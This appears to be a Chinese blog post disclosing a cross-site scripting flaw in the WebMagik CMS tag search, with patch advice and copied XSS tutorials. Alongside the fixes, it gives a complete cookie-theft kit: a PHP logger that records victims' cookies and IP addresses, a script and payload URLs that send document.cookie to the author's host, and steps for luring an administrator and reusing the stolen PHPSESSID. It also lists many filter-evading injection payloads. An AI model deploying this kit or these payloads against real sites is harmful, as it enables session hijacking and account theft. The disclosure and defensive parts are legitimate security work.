xss漏洞发现及利用

漏洞描述：在使用标签（tag）进行浏览时，由于没有很好的过滤用户输入（tag关键字）造成xss跨站漏洞，用户自定义的版块tag搜索和全局tag搜索列表。
利用形式1：
http://clin003.com/web2/?u=Club_talk_list&tag=<script>alert('111')</script>
其中http://clin003.com/web2/为网站连接，Club_talk_list为用户自定义版块。

利用形式2：
http://clin003.com/web2/?a=list&tag=<script>alert("111")</script>
其中http://clin003.com/web2/为网站连接，这个就是所谓的全局tag搜索。

漏洞危害：欺骗用户点击假冒连接盗取访问者的cookies甚至可能危害到访问者电脑安全，涉及帐户的相关信息可能被盗取。

漏洞发现者：clin003
已向官方报告漏洞情况。请wm使用者关注官方修补办法。
官方修补办法地址： http://webmagik.cn/bbs/viewthread.php?tid=638&pid=2225
CODE:
1 下载 module_list.php (2.83 KB)
并上传覆盖 /meta/module/module_list.php 后台重新生成各模块代码即可。
2 不想重新手工生成代码的，可以直接修改对应的 /umod/XXX_list.php 在页面最上方添加 $_REQUEST['tag'] = strip_tags($_REQUEST['tag']);

Added By Easy
——————————————————————
临时解决办法：
在所有涉及到tag搜索的页面 添加一行代码.
[Copy to clipboard] [ - ]
CODE:
$_REQUEST['tag'] = strip_tags($_REQUEST['tag']);

官方在下一个版本会把过滤加进去。顺便说下，在模块基本设定中，如果开启不过滤数据，用户添加的内容也可以存在此问题。

----------------------------------
补充下：
在list.php（/mod/list.php）第二十四行的位置回车加上
$_REQUEST['tag'] = strip_tags($_REQUEST['tag']);
这个是全局搜索tag的地方更新模块的时候不会被更新。
——————————————————————

漏洞发现过程：
在寻找使用过的中文标签为什么会失效的答案。添加一篇文章，然后由于想把“中间带空格的标签”合起来而使用啦单引号比如：‘webmagik  跨站’，提交的时候就出现问题。一堆数据库错误信息！！
怀疑有注入漏洞，，经多次检测没有注入漏洞。
忽然想到检测下跨站的这个xss代码（上次已经检测过搜索框的iframe跨站漏洞，只是没公布）。

--------------------------------------------------
下边是介绍xss漏洞的常识
----------------------------------------------------
什么是跨站脚本(CSS/XSS)?
　　在Web站点未经适当过滤便显示在HTML页面上时会出现这种漏洞。它允许（由用户输入的）任意HTML显示在用户的浏览器中。
我 们所说跨站脚本是指在远程WEB页面的html代码中插入的具有恶意目的的数据，用户认为该页面是可信赖的，但是当浏览器下载该页面，嵌入其中的脚本将被 解释执行，有时候跨站脚本被称为"XSS"，这是因为"CSS"一般被称为分层样式表，这很容易让人困惑，如果你听某人提到CSS或者XSS安全漏洞，通 常指得是跨站脚本。跨站脚本漏洞常常被称为XSS漏洞。

XSS和脚本注射的区别？

原文里作者是和他一个朋友(b0iler)讨论后，才明白并非任何可利用脚本插入实现攻击的
漏洞都被称为XSS，还有另一种攻击方式："Script Injection",他们的区别在以下两点：
1.(Script Injection)脚本插入攻击会把我们插入的脚本保存在被修改的远程WEB页面里,如
:sql injection,XPath injection.
2.跨站脚本是临时的，执行后就消失了

什么类型的脚本可以被插入远程页面？
主流脚本包括以下几种：
 HTML
 JavaScript (本文讨论)
 VBScript
 ActiveX
 Flash

测试代码：
1，在自己服务器上建立如下文件：
Getcookie.php

<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$time=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('victim.htm', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$time. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
?>

Xss.js
document.write('<img src="http://clin003.com/getcookie.php?c='+document.cookie+'" width=0 height=0 border=0 />');

2，发送信息给管理员
内容包含下边的连接：
http://clin003.com/web2/?a=list&tag=<img+src="http://clin003.com/getcookie.php?c='+document.cookie+'" />_____________一个恶意的开始！！！

改进后的代码：
http://clin003.com/web2/?a=list&tag= <script src=http://clin003.com/xss.js></script>
成功收到cookies
3，等待管理员点击然后检查获得victim.htm内容。
4，复制从PHPSESSID= 到;的内容

启发来源：WEB漏洞挖掘技术
参考漏洞分析格式：PhpNuke管理员密码可泄露问题
link@clin003.com
----------------------------------------------------------------------

相关链接：
XSS:http://wiki.matrix.org.cn/Wiki.jsp?page=XSS
跨站脚本攻击(XSS)FAQ：http://tech.idv2.com/2006/08/30/xss-faq/
也谈跨站脚本攻击与防御:http://www.xfocus.net/articles/200607/874.html
浅析XSS(Cross Site Script)漏洞原:http://www.xker.com/page/e2007/0704/27444_3.html
PHP-Nuke个人消息存在HTML插入漏洞:http://www.xfocus.net/vuls/200208/2970.html

--------------------------------------------------------------------

预防的办法：-----------------------------------------------
1.在你的WEB浏览器上禁用javascript脚本
2..开发者要仔细审核代码，对提交输入数据进行有效检查，如"<"和">"。
  
可以把"<"，">"转换为<，>
注意：由于XSS漏洞可被利用的多样性，程序员自己要明白具体需要过滤的字符，
这主要依赖于所开发程序的作用，建议过滤掉所有元字符，包括"="。

对我们浏览网页的网友来说不要访问包含<script>字符的连接，一些官方的URL不会包括任何脚本元素。

附带---------------------------------------------
到 目前为止，对于跨站点脚本攻击具有很大的威胁这一点大家并无异议。如果您很精通 XSS 并且只想看看有什么好的测试方法可供借鉴，那么请直接跳到本文的测试部分。如果您对此一无所知，请按顺序认真阅读！如果某个怀有恶意的人（攻击者）可以强 迫某个不知情的用户（受害者）运行攻击者选择的客户端脚本，那么便会发生跨站点脚本攻击。“跨站点脚本”这个词应该属于用词不当的情况，因为它不仅与脚本 有关，而且它甚至不一定是跨站点的。所以，它就是一个在发现这种攻击时起的一个名字，并且一直沿用至今。从现在开始，我们将使用它常见的缩写名称 “XSS”。
引用自：测试 Web 应用程序是否存在跨站点脚本漏洞

--------------------------------------下边一些参考资料。

http://clin003.com/web2/?a=list&tag=<script>alert("111")</script>

http://clin003.com/web2/?a=list&tag=<script>alert('111')</script>

 

http://clin003.com/web2/?a=list&tag=<script>alert(111)</script>

http://clin003.com/web2/?a=list&tag=<body+οnlοad=alert("1111")>

http://clin003.com/web2/?a=list&tag=<body+οnlοad=alert('1111')>

http://clin003.com/web2/?a=list&tag=<body+οnlοad=alert(1111)>

upload/2011/3/201103300326291646.bmp+οnlοad=alert("1111")>

upload/2011/3/201103300326291646.bmp+οnlοad=alert("1111")>

http://clin003.com/web2/?a=list&tag=<img+src="http://clin003.com/getcookie.php?c='+document.cookie+'" />_____________一个恶意的开始！！！

upload/2011/3/201103300326291646.bmp+οnlοad=alert('1111')>

upload/2011/3/201103300326291646.bmp+οnlοad=alert(1111)>

http://clin003.com/web2/?a=list&tag=<"

http://clin003.com/web2/?a=list&tag=<'

http://clin003.com/web2/?a=list&tag=<

http://clin003.com/web2/?a=list&tag=<!--

http://clin003.com/web2/?a=list&tag=-->

http://clin003.com/web2/?a=list&tag=<!-- -->

以上所有的连接都检测出漏洞

漏洞利用代码：
获得cookie
http://clin003.com/web2/?a=list&tag=%3Cscript%3Ealert(document.cookie)%3C%2fscript%3E

==============================================
什么是跨站脚本(CSS/XSS)?

　　在Web站点未经适当过滤便显示在HTML页面上时会出现这种漏洞。它允许（由用户输入的）任意HTML显示在用户的浏览器中。
我 们所说跨站脚本是指在远程WEB页面的html代码中插入的具有恶意目的的数据，用户认为该页面是可信赖的，但是当浏览器下载该页面，嵌入其中的脚本将被 解释执行，有时候跨站脚本被称为"XSS"，这是因为"CSS"一般被称为分层样式表，这很容易让人困惑，如果你听某人提到CSS或者XSS安全漏洞，通 常指得是跨站脚本。跨站脚本漏洞常常被称为XSS漏洞。

XSS和脚本注射的区别？

原文里作者是和他一个朋友(b0iler)讨论后，才明白并非任何可利用脚本插入实现攻击的
漏洞都被称为XSS，还有另一种攻击方式："Script Injection",他们的区别在以下两点：
1.(Script Injection)脚本插入攻击会把我们插入的脚本保存在被修改的远程WEB页面里,如
:sql injection,XPath injection.
2.跨站脚本是临时的，执行后就消失了

什么类型的脚本可以被插入远程页面？

主流脚本包括以下几种：
 HTML
 JavaScript (本文讨论)
 VBScript
 ActiveX
 Flash

是什么原因导致一个站点存在XSS的安全漏洞？

许多cgi/php脚本执行时，如果它发现客户提交的请求页面并不存在或其他类型的错误时，
出错信息会被打印到一个html文件，并将该错误页面发送给访问者。
例如： 404 - yourfile.html Not Found! 

我们一般对这样的信息不会注意，但是现在要研究CSS漏洞的成因，我们还是仔细看一下。
例：www.somesite.tld/cgi- bin/program.cgi?page=downloads.html该URL指向的连接是有效的，但是如果我们把后面的 downloads.html替换成brainrawt_owns_me.html，一个包含404 - brainrawt_owns_me.html Not Found! 信息的页面将反馈给访问者的浏览器。

考虑一下它是如何把我们的输入写到html文件里的？

OK，现在是我们检查XSS漏洞的时候了！

注 意：下面仅仅是一个例子，该页面存在XSS漏洞，我们可以插入一写javascript代码到页面里。当然方法很多 www.somesite.tld/cgi-bin/program.cgi?page=<script>alert('XSS_Vuln_Testing')</script>
当我们提交这个URL的时候，在我们的浏览器中弹出一个消息框，"XSS_Vuln_Testing"?
这个例子只是一个XSS漏洞的简单演示，并无实际意义，但足以说明问题所在。

下面我们分析一下造成该运行结果的原因，program.cgi对我们的输入没有经过有效过滤处理，就直接写入404 error页面中，结果创建了一个页面，如下：
          <html>

          <b>404</b> - <script>alert('XSS_Vuln_Testing')</script> Not Found!

          </html>

其中的javascript脚本通过浏览器解释执行，然后就出现了你所看到的结果。

 

如何利用XSS来完成hacking？

如同前面所提到，如果用户提交的请求不能得到满足，那么服务器端脚本会把输入信息写入一个html文件，当服务器端程序对写入html文件的数据没有进行有效过滤，恶意脚本就可以插入到该html文件里。其他用户浏览该连接的时候脚本将通过客户端浏览器解释执行。

事例：

假设你发现myemailserver.tld有CSS漏洞，你想要获得其中一个人的email帐号，比如我们的目标是b00b这个人。           www.myemailserver.tld/cgi-bin/news.cgi?article=59035
把上面存在CSS漏洞的连接修改一下：     www.myemailserver.tld/cgi-bin/news.cgi?article=hax0red
这会创建了一个错误页面，我们得到如下信息：           Invalid Input! [article=hax0red]
当插入下面这样的javascript代码时，你的屏幕上会弹出一个包含test的消息框。
           www.myemailserver.tld/cgi-bin/news.cgi?article=<script>alert('test')<
/script>
<script>并没有打印到屏幕上，它是隐藏在背后执行，由于服务器端程序并没有对<script>alert('test')</script>进行有效过滤，所以在页面发回到浏览器并执行了该脚本。

下面我们瞧瞧如何利用该漏洞入侵 b00b同志的邮箱，首先你必须知道b00b的email地址，
并且知道cookies的作用。那么你可以告诉b00b一个恶意的连接，嘿嘿，当然
它的用意就是从b00b机器中cookie信息里获得自己想要的东东。
想办法让b00b访问myemailserver.tld站点发表的文章，比如说：”亲爱的b00b,看看这个美
女
如何呀？”

那么当可怜的b00b访问 www.myemailserver.tld/cgi-bin/news.cgi?article=<script>偷取
并保存cookie的脚本
           </script>
连接时，发生什么事情？cookie都有了，你该知道怎么办了吧！

如果在你目前不是这样的情形，你可以拷贝email服务器的登陆页面，挂到其他的系统上，
然后引导用户登陆你的恶意系统页面
这样用户信息你可以记录下来，然后再把记录的信息发送回真正的email服务器页面，
那些笨蛋并不会意识到实际发生的事情。

把javascript脚本插入WEB页面的不同方法：

<snip>
拷贝自：GOBBLES SECURITY ADVISORY #33
 Here is a cut-n-paste collection of typical JavaScript-injection hacks
 you may derive some glee from playing with.

  <a href="javascript#[code]">
  <div οnmοuseοver="[code]">
  <img src="javascript:[code]">
  <img dynsrc="javascript:[code]"> [IE]
  <input type="image" dynsrc="javascript:[code]"> [IE]
  <bgsound src="javascript:[code]"> [IE]
  &<script>[code]</script>
  &{[code]}; [N4]
  <img src=&{[code]};> [N4]
  <link rel="stylesheet" href="javascript:[code]">
  <iframe src="vbscript:[code]"> [IE]
  <img src="mocha:[code]"> [N4]
  <img src="livescript:[code]"> [N4]
  <a href="about:<script>[code]</script>">
  <meta http-equiv="refresh" content="0;url=javascript:[code]">
  <body οnlοad="[code]">
  <div style="background-image: url(javascript:[code]);">
  <div style="behaviour: url([link to code]);"> [IE]
  <div style="binding: url([link to code]);"> [Mozilla]
  <div style="width: expression([code]);"> [IE]
  <style type="text/javascript">[code]</style> [N4]
  <object classid="clsid:..." codebase="javascript:[code]"> [IE]
  <style><!--</style><script>[code]//--></script>
  <![CDATA[<!--]]><script>[code]//--></script>
  <!-- -- --><script>[code]</script><!-- -- -->
  <script>[code]</script>
  <img src="blah"οnmοuseοver="[code]">
  <img src="blah>" οnmοuseοver="[code]">
  <xml src="javascript:[code]">
  <xml id="X"><a><b><script>[code]</script>;</b></a></xml>
  <div datafld="b" dataformatas="html" datasrc="#X"></div>
  [/xC0][/xBC]script>[code][/xC0][/xBC]/script> [UTF-8; IE, Opera]

 ----Copied from GOBBLES SECURITY ADVISORY #33----
 </snip>

该脚本首先通过 $ENV{'QUERY_STRING'}获得cookie，打印到$borrowed_info变量里，
通过open(EVIL_COOKIE_LOG, ">>evil_cookie_log")，把cookie信息保存到evil_cookie_lo
g文件。

注意：上面的javascript脚本，可能在一些浏览器或者站点上不能执行，
这仅仅是我在自己的站点上做测试用的。

如何防范XSS攻击？
1.在你的WEB浏览器上禁用javascript脚本
2..开发者要仔细审核代码，对提交输入数据进行有效检查，如"<"和">"。
  
可以把"<"，">"转换为<，>
注意：由于XSS漏洞可被利用的多样性，程序员自己要明白具体需要过滤的字符，
这主要依赖于所开发程序的作用，建议过滤掉所有元字符，包括"="。

对受害者来说不要访问包含<script>字符的连接，一些官方的URL不会包括任何脚本元素。

by clin003 at 20070725 from:http://clin003.com/或http://blog.csdn.net/clin003/
-------------------------------------------------------
典 型攻击：涉及XSS的典型攻击通常都需要称为“social engineering（社会工程）”的什么东西。意味着说服某人点击您所创建的某一链接，该链接包含指向某一Web站点的提交功 能，该站点具有XSS漏洞，该链接通过该漏洞提交JavaScript代码。提交的JavaScript代码通常会从用户的浏览器窃取会话cookie， 并将它们提交给攻击者的某一Web站点。攻击者然后可以使用这些会话来冒充受攻击用户，且无需密码。尽管策动这种攻击比较困难，但攻击者却可以很好地文档 化和理解它，因此必须谨慎地加以避免。　　预防：为了防止XSS漏洞，在输出到浏览器之前，所有用户输入都必须进行转义。这通常包括将特殊字符转换成 HTML换码—例如，将“<”转换成“&lt;”等。详细请参考Neil Smithline（http://dev2dev.bea.com.cn/author/261.html）描述

from：http://longrujun.name /blogs/longrujun/archive/2006/12/31/_E88DD97A1A812C6708FF_XSS_09FF0F6F1E6DEE959898F25DCF7E0D4E2F66EE959898_.aspx
--------------------------------------------------------
XSS漏洞基本攻击代码

javascript

<script>alert(document.cookie);</script>

<script>document.location.replace('http://clin003.com/Test/getcookie.php?c='+document.cookie);</script>

document.write('<img src="http://clin003.com/Test/getcookie.php?c='+document.cookie+'" width=0 height=0 border=0 />');

<script src=http://clin003.com/Test/xss.js></script>

xss.js

document.write('<img src="http://clin003.com/Test/getcookie.php?c='+document.cookie+'" width=0 height=0 border=0 />');

getcookie.php

<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$time=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('victim.txt', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$time. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
?>

----------------------------------

测试 Web 应用程序是否存在跨站点脚本漏洞
发布日期： 2005年05月06日

作者：Chris Weber，Casaba Security，LLC (chris@casabasec.com)

到 目前为止，对于跨站点脚本攻击具有很大的威胁这一点大家并无异议。如果您很精通 XSS 并且只想看看有什么好的测试方法可供借鉴，那么请直接跳到本文的测试部分。如果您对此一无所知，请按顺序认真阅读！如果某个怀有恶意的人（攻击者）可以强 迫某个不知情的用户（受害者）运行攻击者选择的客户端脚本，那么便会发生跨站点脚本攻击。“跨站点脚本”这个词应该属于用词不当的情况，因为它不仅与脚本 有关，而且它甚至不一定是跨站点的。所以，它就是一个在发现这种攻击时起的一个名字，并且一直沿用至今。从现在开始，我们将使用它常见的缩写名称 “XSS”。

XSS 攻击的过程涉及以下三方：
•   

攻击者
•   

受害者
•   

存在漏洞的网站（攻击者可以使用它对受害者采取行动）

在 这三方之中，只有受害者会实际运行攻击者的代码。网站仅仅是发起攻击的一个载体，一般不会受到影响。可以用多种方式发起 XSS 攻击。例如，攻击者可通过电子邮件、IM 或其他途径向受害者发送一个经过经心构造的恶意 URL。当受害者在 Web 浏览器中打开该 URL 的时侯，网站会显示一个页面并在受害者的计算机上执行脚本。

XSS 漏洞是什么样的呢？
作为一名 Web 开发人员或测试人员，您肯定知道 Web 应用程序的技术基础是由 HTTP 和 HTML 组成的。HTTP 协议是 HTML 的传输机制，可使用代码设计 Web 页面布局和生成页面。

如果 Web 应用程序接受用户通过 HTTP 请求（如 GET 或 POST）提交的输入信息，然后使用输出 HTML 代码在某些地方显示这些信息，便可能存在 XSS 漏洞。下面是一个最简单的例子：

1. Web 请求如下所示：
GET http://www.somesite.com/page.asp?pageid=10&lang=en&title=Section%20Title

2. 在发出请求后，服务器返回的 HTML 内容包括：
<h1>Section Title</h1>

可以看到，传递给“title”查询字符串参数的用户输入可能被保存在一个字符串变量中并且由 Web 应用程序插入到 <h1> 标记中。通过提供输入内容，攻击者可以控制 HTML。

3. 现在，如果站点没有在服务器端对用户输入加以过滤（因为总是可以绕过客户端控件），那么恶意用户便可以使用许多手段对此漏洞加以滥用：

攻击者可以通过摆脱 <h1> 标记来注入代码：
http://www.somesite.com/page.asp?pageid=10&lang=en&title=Section%20Title</h1><script>alert(‘XSS%20attack’)</script>

这个请求的 HTML 输出将为：
<h1>Section Title</h1><script>alert(‘XSS attack’)</script>

即便是这个最简单的例子，攻击者也可以利用此连接完成数不清的事情。让我们看看会有哪些潜在的威胁，然后讨论一些更高级的测试方法。

XSS 攻击的威胁有多么严重？
由于能够在生成的 Web 页面中注入代码，能想到的威胁有多么严重，就可以有多么严重的威胁。攻击者可以使用 XSS 漏洞窃取 Cookie，劫持帐户，执行 ActiveX，执行 Flash 内容，强迫您下载软件，或者是对硬盘和数据采取操作。

只要您点击了某些 URL，这一切便有可能发生。每天之中，在阅读来自留言板或新闻组的受信任的电子邮件的时侯，您会多少次地单击其中的 URL？

网 络钓鱼攻击通常利用 XSS 漏洞来装扮成合法站点。可以看到很多这样的情况，比如您的银行给你发来了一封电子邮件，向您告知对您的帐户进行了一些修改并诱使您点击某些超链接。如果仔 细观察这些 URL，它们实际上可能利用了银行网站中存在的漏洞，它们的形式类似于 http://mybank.com/somepage?redirect=<script>alert(‘XSS’)< /script>，这里利用了“redirect”参数来执行攻击。

如果您足够狡猾的话，可以将管理员定为攻击目标，您可以发送一封具有如下主题的邮件：“求救！这个网站地址总是出现错误！”在管理员打开该 URL 后，便可以执行许多恶意操作，例如窃取他（或她）的凭证。

好了，现在我们已经理解了它的危害性 -- 危害用户，危害管理员，给公司带来坏的公共形象。现在，让我们看看本文的重点 -- 测试您的网站是否存在这些问题。

测试 XSS 漏洞
多 年以来，我一直是一名全职的安全顾问，已经做过无数次的这种测试了。我将好的测试计划归结为两个字：彻底。对于你我来说，查找这些漏洞与能够有机会在 Bugtraq 或 Vulnwatch 上吹嘘一番没有任何关系；它只与如何出色完成负责的工作有关。如果这意味着对应用程序中所有的单个查询字符串参数、cookie 值 以及 POST 数据值进行检查，那么这只能表明我们的工作还不算太艰巨。

显然，一次完整的安全性检查所涉及的内容通常远远超出寻找 XSS 漏洞那样简单；它需要建立整体的威胁模型，测试溢出漏洞、信息泄漏、错误处理、SQL 注入、身份验证和授权错误。好在执行这样彻底的工作时，各个领域之间都存在重叠。比如，在测试 XSS 漏洞时，经常会同时找出错误处理或信息泄漏问题。

我假设您属于某个负责对 Web 应用程序进行开发和测试的小组。在这个幸运的位置上，您可以混合使用黑盒和白盒方法。每种方法都有它自己的优点，结合使用时甚至能相互提供支持。

1. 

按顺序准备您的工具包
测试工作也可以是自动化的，但是我们在这里只讨论手动操作。手动测试的必备工具包括：
•   

Paros proxy (http://www.parosproxy.org)，用于截获 HTTP 通信数据
•   

Fiddler (http://www.fiddlertool.com/fiddler)，用于截获 HTTP 通信数据
•   

Burp proxy (http://www.portswigger.net/proxy/)
•   

TamperIE (http://www.bayden.com/dl/TamperIESetup.exe)，用于修改 GET 和 POST

我 们以上至少列出了三种 Web 代理软件。也可以寻找其他不同的类似产品，因为每种产品都有它自己的独到之处。下面，您需要在 Web 浏览器发出 HTTP 请求之前截获这些请求，并修改它们以注入 XSS 测试代码。上面所有这些工具都可以完成这项任务，某些工具还会显示返回的 HTML 源代码（如果您选择了截获服务器响应）。

截获客户端发出的 GET 和 POST 请求非常重要。这样可以绕过所有的客户端 javascript 输入验证代码。我在这里要提醒所有 Web 开发人员 -- 客户端安全控制是靠不住的。应该总是在服务器端执行有效性验证。

2.   

确定站点及其功能 -- 与开发人员和 PM 交流
绘 制一些简单的数据流图表，对站点上的页面及其功能进行描述。此时，可以安排一些与开发人员和项目经理的会议来建立威胁模型。在会议上尽可能对应用程序进行 深入探讨。站点公开了 Web 服务吗？是否有身份验证表单？有留言板吗？有用户设置页面吗？确保列出了所有这些页面。

3.

找出并列出所有由用户提供输入的点
对 站点地图进行进一步细化。我通常会为此创建一个电子表格。对于每个页面，列出所有查询字符串参数、cookie 值、自定义 HTTP 标头、POST 数据值和以其他形式传递的用户输入。不要忘记搜索 Web 服务和类似的 SOAP 请求，并找出所有允许用户输入的字段。

分别列出每个输 入参数，因为下面需要独立测试每个参数。这可能是最重要的一个步骤！如果阅读下面的电子表格，您会看到我已经在示例站点中找出了一大堆这样的东西。如 forwardURL 和 lang 这样的查询字符串。如 name、password、msgBody、msgTitle 和这样的 POST 数据，甚至某些 Cookie 值。所有这些都是我们感兴趣的重要测试内容。

4.

认真思考并列出测试用例
使用已经得 到的电子表格并列出各种用来测试 XSS 漏洞的方法。我们稍候将讨论各种方法，但是现在先让我们看看我的电子表格的屏幕截图，请注意，我列出了页面上允许的每个值以及每个值的所有测试类型。这种 记录测试的方法仅是我自己的习惯，您可以使用自己的方法。我喜欢记录所有东西，以便我能知道已经做了哪些工作和哪些工作没有做。
Think through and list out your test cases

5.  

开始测试并注意输出结果
在 查找漏洞的过程中，最重要的部分并不是您是否找到了漏洞。而是您是否真正知道究竟发生了哪些事情。对于 XSS，只需检查 HTML 输出并看看您输入的内容在什么地方。它在一个 HREF 标记中吗？是否在 IFRAME 标记中？它在 CLSID 标记中吗？在 IMG SRC 中吗？某些 Flash 内容的 PARAM NAME 是怎样的？

我会检查所有这些情况，如果您对所输入内容的目的十分了解，可以调整您 的测试来找出问题。这意味着您可能需要添加一个额外的封闭括号“>”来让某个标记变得完整，或者添加一个双引号来关闭标记内的一个元素。或者，您可 能需要使用 URL 或 HTML 来编码您的字符，例如将双引号变为 %22 或 "。

6. 

嗯，并不那么容易，这个站点看来防范比较严密。现在该怎么办呢？
那 么，也许您的简单测试用例 <script>alert(‘hi’)</script> 并不能产生期望中的警告对话框。仔细想想这个问题并在可能的情况下与开发人员进行交流。也许他们对输入中的尖括号、单引号或圆括号进行了过滤。也许他们会 过滤“script”这个词。重新研究为何输入会产生这样的输出，并理解每个值（查询字符串、cookie、POST 数据）的作用。“pageId=10”这样的查询字符串值可能对输出没有影响，因此不值得花费时间测试它。有时，最好试着注入单个字符（例如尖括号、双引 号标记或者圆括号），看看应用程序是否过滤这些字符。然后，便可以知道您面对的过滤级别究竟如何。接着，可以调整测试方法，对这些字符进行编码并重试，或 者寻找其他注入办法。
改变测试用例
我恐怕无法充分对此进行说明：研究输入的值会输出什么样的 HTML 页面非常重要。如果它们不能产生输出，那么不要在它们上面浪费时间。如果可以，请进行研究，因为您需要根据输出对测试进行相应的修改。我使用了各种变化形 式来找出能接受和显示脚本代码的参数。因为这涉及太多内容，因此在这里无法一一进行讨论，但是请务必注意以下几种情况：

1. 

>"'><script>alert(‘XSS')</script>

2.

>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>

3. 

>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>

4. 

AK%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OS%22

5.

%22%2Balert(%27XSS%27)%2B%22

6.

<table background="javascript:alert(([code])"></table>

7.

<object type=text/html data="javascript:alert(([code]);"></object>

8.

<body οnlοad="javascript:alert(([code])"></body>

有 许多变化形式可以尝试。关键在于了解程序究竟使用何种方式处理输入和显示输出页面。如同这些例子所展示的，常见的变化形式经常是在脚本代码前面加上 “>””，以尝试封闭网站可能在输出中生成的标记。还可以对代码进行 URL 编码，尝试绕过服务器端的输入过滤功能。此外，因为尖括号“<>”通常会在输入时被过滤和从输出中删除，所以还必须尝试不需要尖括号的 XSS，例如 ”&{alert('XSS')};”

持久和动态
找出一个成功的 XSS 颇费周折，因为在开始时 XSS 攻击可能并不是那么显而易见的。随便举一个例子，如果向网站添加一条新留言并在“msgTitle”值中注入代码，在提交数据后，您可能不会立即看到脚本 代码被执行。但是，当您访问留言板的时侯，将会在 HTML 页面中使用“msgTitle”值并将其作为脚本代码执行。这种情况被称作持久性 XSS 攻击，如果包含脚本代码的值将被保存到客户端或者后端系统并在稍候的时间被执行，便会发生此种攻击。

而与此相对的是动态 XSS 攻击，这种攻击会立即执行并只发生一次。比如，如果某个链接或 GET 请求在某个用来控制页面输出的查询字符串中包含了脚本代码，那么在点击链接后会立即显示输出。

总结
XSS 测试通常只是整个 Web 应用程序安全性审查工作的一小部分，但是在执行测试时必须细致和彻底。在多年的工作中，我一直强调使用电子表格或其他方式来记录站点的所有页面，以及每个 页面接受的输入值（查询字符串、cookie、POST 数据、SOAP），这是在测试前必须进行的一个重要步骤。与此同等重要的是，理解输入以及它在输出的 HTML 页面上的呈现方式。如果您知道了应用程序处理输入的方式，就会非常迅速地完成许多工作。不要浪费时间测试那些不会作为输出显示的输入。与开发人员和 PM 进行交流，并在开始测试前建立完善的威胁模型。

 

from：http://www.microsoft.com/china/technet/community/columns/secmvp/sv0505.mspx
-----------------------------------

相关链接：
XSS:http://wiki.matrix.org.cn/Wiki.jsp?page=XSS
跨站脚本攻击(XSS)FAQ：http://tech.idv2.com/2006/08/30/xss-faq/
也谈跨站脚本攻击与防御:http://www.xfocus.net/articles/200607/874.html
浅析XSS(Cross Site Script)漏洞原:http://www.xker.com/page/e2007/0704/27444_3.html
PHP-Nuke个人消息存在HTML插入漏洞:http://www.xfocus.net/vuls/200208/2970.html

by clin003 at 20070725 from:http://clin003.com/或http://blog.csdn.net/clin003/
=======================================
浅析XSS(Cross Site Script)漏洞原:http://www.xker.com/page/e2007/0704/27444_3.html

最近一些人频频在博客里炫耀说黑了某某门户网站，发现了某某大站的漏洞，竟然还要收取发现漏洞的费用，仔细瞧了一瞧，全是一片噼里啪啦alert消息框的截图，只是简单的触发了XSS，心痒难耐，于是写了这篇拙文道出我对跨站脚本漏洞原理的一些理解。

    如果你还不知道什么是XSS，我来帮助解释一下，XSS的全称是Cross Site Scripting，意思是跨站脚本.这第一个单词是Cross，为什么缩写成X呢？因为CSS是层叠样式表的缩写（Cascading Style Sheets）的缩写，同时Cross发音和X相似，为了避免混淆用X来代替,缩写成XSS。其实我觉得叫XSS挺合适的，因为现在流行AJAX嘛，新的 跨站脚本攻击技术很多都是和XMLHTTP控件无间配合，嘿嘿，这个是题外话，我们只讲原理，下面我就分两个部分分析XSS原理：

    一、XSS的触发条件

    了解XSS的触发条件就先得从HTML（超文本标记语言）开始，我们浏览的网页全部都是基于超文本标记语言创建的，如显示一个超链接：

    <A HREF="it168/'>http://safe.it168.com">IT168安全频道</A>

    而XSS的原理也就是往HTML中注入脚本，HTML指定了脚本标记<script></script>.在没有过滤字符的情况 下，只需要保持完整无错的脚本标记即可触发XSS，假如我们在某个资料表单提交内容,表单提交内容就是某个标记属性所赋的值，我们可以构造如下值来闭和标 记来构造完整无错的脚本标记，

    "><script>alert('XSS');</script><"

    结果形成了<A HREF=""><script>alert('XSS');</script> <"">茄子宝的博客在这里</A>这样一个标记，：）这里和SQL注入很象！

    测试闭和表单赋值所在的标记，形成完整无错的脚本标记可触发XSS，但是没有脚本标记怎么触发XSS呢？呵呵，我们只好利用其他标记了，假如要在网页里显示一张图片，那么就要使用一个<img>标记，示例如下：

    <img src=" http://safe.it168.com /xss.gif">

    img标记并不是真正地把图片给加入到Html文档把两者合二为一，而是通过src属性赋值。那么浏览器的任务就是解释这个img标记，访问src属性所 赋的值中的URL地址并输出图片。问题来了！浏览器会不会检测src属性所赋的值呢？答案是否！那么我们就可以在这里大做文章了，接触过 javascript的同志应该知道，javascript有一个URL伪协议，可以使用“javascript：”这种协议说明符加上任意的 javascript代码，当浏览器装载这样的URL时，便会执行其中的代码.于是我们就得出了一个经典的XSS示例：

    <img src="javascript:alert('XSS');"> 如图一

    当然并不是所有标记的属性都能用，细心的你应该发现标记的属性在访问文件才触发的XSS，这里我就不再深入，因为离开标记的属性还有事件能帮助我们触发 XSS.那什么是事件呢？只有达到某个条件才会引发事件，正巧img标记有一个可以利用的onerror()事件，当img标记内含有一个onerror ()事件而正好图片没有正常输出便会触发这个事件，而事件中可以加入任意的脚本代码，其中的代码也会执行.现在我们又得到了另外一个经典的XSS示例：

<img src=" http://xss.jpg" οnerrοr=alert('XSS')>如图二
    综合这一部分，我们知道XSS的触发条件包括：完整无错的脚本标记，访问文件的标记属性和触发事件。

 二、XSS转码引发的过滤问题

